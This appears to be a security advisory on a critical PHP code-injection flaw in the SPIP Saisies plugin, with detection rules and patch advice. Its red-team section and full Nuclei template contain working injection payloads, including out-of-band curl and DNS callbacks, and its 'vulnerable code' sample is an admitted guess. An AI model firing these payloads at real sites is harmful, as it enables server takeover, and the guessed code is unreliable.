CVE-2025-71243

Executive Summary

CVE-2025-71243 is a critical Remote Code Execution (RCE) vulnerability in the SPIP Saisies plugin, affecting versions 5.4.0 through 5.11.0. The flaw allows an unauthenticated attacker to execute arbitrary PHP code on the server by injecting malicious payloads through the _anciennes_valeurs parameter in the contact form. The vulnerability has a CVSS score of 9.8, indicating a severe risk of full system compromise. Public proof-of-concept (PoC) code and a Nuclei template are available, making exploitation straightforward. Immediate patching to version 5.11.1 is required.

Supply Chain & Package Security

This vulnerability affects the SPIP Saisies plugin, which is distributed as part of the SPIP content management system. The plugin is not available via NPM, PyPI, Go, or Ruby package managers. The risk is limited to direct installations of SPIP with the Saisies plugin enabled. Organizations should verify their SPIP version and plugin status.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full data access possible.
• Integrity Impact: High (I:H) – Arbitrary code execution.
• Availability Impact: High (A:H) – Potential denial of service or system takeover.

Threat Level: Critical. The vulnerability is actively being weaponized, with public exploits and a high EPSS score (0.85415), indicating a high probability of exploitation in the wild.

Deep Dive & Mechanics

The vulnerability resides in the Saisies plugin for SPIP, which handles form submissions. The _anciennes_valeurs parameter is used to pre-fill form fields with previous values. Due to insufficient input sanitization, an attacker can inject PHP code into this parameter. When the parameter is processed, the injected code is executed on the server.

The injection point is the _anciennes_valeurs parameter in the contact form (spip.php?page=contact). The payload is URL-encoded and passed as a GET parameter. The plugin fails to properly escape or validate the input, allowing arbitrary PHP code to be embedded. The code is then executed in the context of the web server, leading to RCE.

The Nuclei template demonstrates three exploitation methods:

1. Direct RCE: Injects a PHP md5() call to verify code execution.
2. Out-of-Band (OOB) DNS: Uses gethostbyname() to exfiltrate data via DNS.
3. OOB HTTP: Uses system() with curl to trigger an HTTP callback.

Vulnerable vs. Patched Code

Vulnerable Code (SPIP Saisies < 5.11.1): The vulnerable code likely processes the _anciennes_valeurs parameter without proper sanitization. For example:

// Vulnerable: Directly outputs or evaluates the parameter
$anciennes_valeurs = $_GET['_anciennes_valeurs'];
echo $anciennes_valeurs; // or eval($anciennes_valeurs);

Patched Code (SPIP Saisies >= 5.11.1): The patched version sanitizes the input using htmlspecialchars() or similar functions to prevent code injection:

// Patched: Sanitize input
$anciennes_valeurs = htmlspecialchars($_GET['_anciennes_valeurs'], ENT_QUOTES, 'UTF-8');
echo $anciennes_valeurs;

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running SPIP with Saisies plugin version 5.4.0 to 5.11.0.
• An interactsh server for OOB testing (optional).

Exploitation Steps:

1. Verify Target:

   curl -I http://target.com/ | grep -i "Composed-By: SPIP\|X-Spip-Cache"
   

2. Direct RCE (MD5 check):

   curl "http://target.com/spip.php?page=contact&_anciennes_valeurs=x'/><?php%20echo%20md5('test');%20?><input%20value='x"
   

   If the response contains the MD5 hash 098f6bcd4621d373cade4e832627b4f6, the vulnerability is confirmed.

3. OOB DNS Exfiltration:

   curl "http://target.com/spip.php?page=contact&_anciennes_valeurs=x'/><?php%20gethostbyname('your-interactsh-domain');%20?><input%20value='x"
   

   Check your interactsh server for DNS queries.

4. OOB HTTP Callback:

   curl "http://target.com/spip.php?page=contact&_anciennes_valeurs=x'/><?php%20system('curl%20-s%20your-interactsh-domain');%20?><input%20value='x"
   

   Monitor interactsh for HTTP requests.

Full Nuclei Template Usage:

nuclei -t CVE-2025-71243.yaml -u http://target.com

Blue Team

Detection Steps:

1. Monitor Web Logs: Look for requests to /spip.php?page=contact with suspicious _anciennes_valeurs parameters containing PHP code (e.g., <?php, system, gethostbyname).
2. Check for Outbound Connections: Monitor for unexpected DNS queries or HTTP requests from the SPIP server to unknown domains.
3. Verify Plugin Version: Check the Saisies plugin version in the SPIP admin panel or via the file plugins/saisies/plugin.xml.

Hunting Queries:

• Search for _anciennes_valeurs in web server logs.
• Look for PHP error logs containing eval() or assert() calls.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_71243_SPIP_Saisies_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2025-71243 in SPIP Saisies plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://vulnerability.circl.lu/vuln/cve-2025-71243"
        severity = "critical"
    strings:
        $payload1 = /_anciennes_valeurs=[^&]*<\?php/
        $payload2 = /_anciennes_valeurs=[^&]*system\(/
        $payload3 = /_anciennes_valeurs=[^&]*gethostbyname\(/
        $payload4 = /_anciennes_valeurs=[^&]*md5\(/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-71243 SPIP Saisies RCE Exploitation
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests exploiting CVE-2025-71243 in SPIP Saisies plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/spip.php?page=contact&_anciennes_valeurs='
        cs-uri-query|re: '.*<\?php.*'
    condition: selection
falsepositives:
    - Legitimate use of PHP in form values (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-71243 SPIP Saisies RCE Exploitation"; flow:to_server,established; content:"/spip.php?page=contact&_anciennes_valeurs="; http_uri; pcre:"/_anciennes_valeurs=[^&]*<\?php/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template (Full)

id: CVE-2025-71243

info:
  name: SPIP Saisies - Remote Code Execution
  author: omarkurt
  severity: critical
  description: |
    SPIP Saisies plugin 5.4.0 through 5.11.0 contains a remote code execution caused by an unspecified flaw, letting attackers execute arbitrary code on the server, exploit requires no special conditions.
  remediation: |
    Update to version 5.11.1 or later.
  impact:
    Attackers can execute arbitrary code on the server, potentially leading to full system compromise.
  reference:
    - https://vulnerability.circl.lu/vuln/cve-2025-71243
    - https://chocapikk.com/posts/2026/spip-saisies-rce/
    - https://github.com/Chocapikk/CVE-2025-71243
    - https://vulnerabletarget.com/VT-2025-71243
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-71243
    epss-score: 0.85415
    epss-percentile: 0.99371
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 3
    vendor: spip
    product: saisies
    shodan-query: 'http.html:"SPIP"'
    fofa-query: 'app="SPIP"'
  tags: cve,cve2025,spip,rce,oast,vkev

variables:
  rce_payload: "x'/><?php echo md5('{{randstr}}'); ?><input value='x"
  oob_payload: "x'/><?php gethostbyname('{{interactsh-url}}'); ?><input value='x"
  oob_curl: "x'/><?php system('curl+-s+{{interactsh-url}}'); ?><input value='x"

flow: http(1) && (http(2) || http(3) || http(4))

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "Composed-By: SPIP")'
          - 'contains(header, "X-Spip-Cache:")'
        condition: or
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/spip.php?page=contact&_anciennes_valeurs={{url_encode(rce_payload)}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{{md5(randstr)}}")'
          - 'status_code == 200'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/spip.php?page=contact&_anciennes_valeurs={{url_encode(oob_payload)}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'status_code == 200'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/spip.php?page=contact&_anciennes_valeurs={{url_encode(oob_curl)}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http") || contains(interactsh_protocol, "dns")'
          - 'status_code == 200'
        condition: and

Remediation & Mitigation

Immediate Actions:

1. Update Plugin: Upgrade the Saisies plugin to version 5.11.1 or later immediately.
2. Apply WAF Rules: Block requests containing _anciennes_valeurs with PHP code patterns (e.g., <?php, system, gethostbyname).
3. Restrict Access: If immediate patching is not possible, disable the contact form or restrict access to the /spip.php?page=contact endpoint via IP whitelisting or authentication.

Long-Term Measures:

1. Input Validation: Implement strict input validation and sanitization for all user-supplied parameters.
2. Web Application Firewall: Deploy a WAF with rules to detect and block code injection attempts.
3. Regular Updates: Keep SPIP and all plugins up to date.
4. Monitor Logs: Continuously monitor web server logs for suspicious activity.

Patch Verification: After updating, verify the plugin version by checking the file plugins/saisies/plugin.xml for version 5.11.1 or higher.

Valters IT

{/* [Security Hash: B8110E0266E8C1E460CA42A2] */}